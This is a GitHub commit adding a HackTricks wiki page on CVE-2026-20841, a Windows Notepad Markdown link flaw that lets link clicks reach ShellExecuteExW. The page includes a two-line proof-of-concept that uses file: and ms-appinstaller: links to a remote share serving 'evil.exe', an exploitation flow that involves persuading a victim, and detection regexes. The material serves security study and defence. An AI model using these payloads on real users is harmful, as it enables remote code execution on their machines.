Skip to content

Commit c5e2707

Browse files
authored
Merge pull request #1921 from HackTricks-wiki/update_CVE-2026-20841__Arbitrary_Code_Execution_in_the_Wi_20260220_015422
CVE-2026-20841 Arbitrary Code Execution in the Windows Notep...
2 parents 364b795 + 90b0860 commit c5e2707

3 files changed

Lines changed: 57 additions & 0 deletions

File tree

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -352,6 +352,7 @@
352352
- [Antivirus (AV) Bypass](windows-hardening/av-bypass.md)
353353
- [Cobalt Strike](windows-hardening/cobalt-strike.md)
354354
- [Mythic](windows-hardening/mythic.md)
355+
- [Protocol Handler Shell Execute Abuse](windows-hardening/protocol-handler-shell-execute-abuse.md)
355356

356357
# 📱 Mobile Pentesting
357358

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
# Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)
2+
3+
{{#include ../banners/hacktricks-training.md}}
4+
5+
Modern Windows applications that render Markdown/HTML often turn user-supplied links into clickable elements and hand them to `ShellExecuteExW`. Without strict scheme allowlisting, any registered protocol handler (e.g., `file:`, `ms-appinstaller:`) can be triggered, leading to code execution in the current user context.
6+
7+
## ShellExecuteExW surface in Windows Notepad Markdown mode
8+
- Notepad chooses Markdown mode **only for `.md` extensions** via a fixed string comparison in `sub_1400ED5D0()`.
9+
- Supported Markdown links:
10+
- Standard: `[text](target)`
11+
- Autolink: `<target>` (rendered as `[target](target)`), so both syntaxes matter for payloads and detections.
12+
- Link clicks are processed in `sub_140170F60()`, which performs weak filtering and then calls `ShellExecuteExW`.
13+
- `ShellExecuteExW` dispatches to **any configured protocol handler**, not just HTTP(S).
14+
15+
### Payload considerations
16+
- Any `\\` sequences in the link are **normalized to `\`** before `ShellExecuteExW`, impacting UNC/path crafting and detection.
17+
- `.md` files are **not associated with Notepad by default**; the victim must still open the file in Notepad and click the link, but once rendered, the link is clickable.
18+
- Dangerous example schemes:
19+
- `file://` to launch a local/UNC payload.
20+
- `ms-appinstaller://` to trigger App Installer flows. Other locally registered schemes may also be abusable.
21+
22+
### Minimal PoC Markdown
23+
```markdown
24+
[run](file://\\192.0.2.10\\share\\evil.exe)
25+
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
26+
```
27+
28+
### Exploitation flow
29+
1. Craft a **`.md` file** so Notepad renders it as Markdown.
30+
2. Embed a link using a dangerous URI scheme (`file:`, `ms-appinstaller:`, or any installed handler).
31+
3. Deliver the file (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB or similar) and convince the user to open it in Notepad.
32+
4. On click, the **normalized link** is handed to `ShellExecuteExW` and the corresponding protocol handler executes the referenced content in the user’s context.
33+
34+
## Detection ideas
35+
- Monitor transfers of `.md` files over ports/protocols that commonly deliver documents: `20/21 (FTP)`, `80 (HTTP)`, `443 (HTTPS)`, `110 (POP3)`, `143 (IMAP)`, `25/587 (SMTP)`, `139/445 (SMB/CIFS)`, `2049 (NFS)`, `111 (portmap)`.
36+
- Parse Markdown links (standard and autolink) and look for **case-insensitive** `file:` or `ms-appinstaller:`.
37+
- Vendor-guided regexes to catch remote resource access:
38+
```
39+
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
40+
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
41+
```
42+
- Patch behavior reportedly **allowlists local files and HTTP(S)**; anything else reaching `ShellExecuteExW` is suspicious. Extend detections to other installed protocol handlers as needed, since attack surface varies by system.
43+
44+
## References
45+
- [CVE-2026-20841: Arbitrary Code Execution in the Windows Notepad](https://www.thezdi.com/blog/2026/2/19/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad)
46+
- [CVE-2026-20841 PoC](https://github.com/BTtea/CVE-2026-20841-PoC)
47+
48+
{{#include ../banners/hacktricks-training.md}}

src/windows-hardening/windows-local-privilege-escalation/README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1560,6 +1560,14 @@ telephony-tapsrv-arbitrary-dword-write-to-rce.md
15601560
15611561
Check out the page **[https://filesec.io/](https://filesec.io/)**
15621562
1563+
### Protocol handler / ShellExecute abuse via Markdown renderers
1564+
1565+
Clickable Markdown links forwarded to `ShellExecuteExW` can trigger dangerous URI handlers (`file:`, `ms-appinstaller:` or any registered scheme) and execute attacker-controlled files as the current user. See:
1566+
1567+
{{#ref}}
1568+
../protocol-handler-shell-execute-abuse.md
1569+
{{#endref}}
1570+
15631571
### **Monitoring Command Lines for passwords**
15641572
15651573
When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.

0 commit comments

Comments
 (0)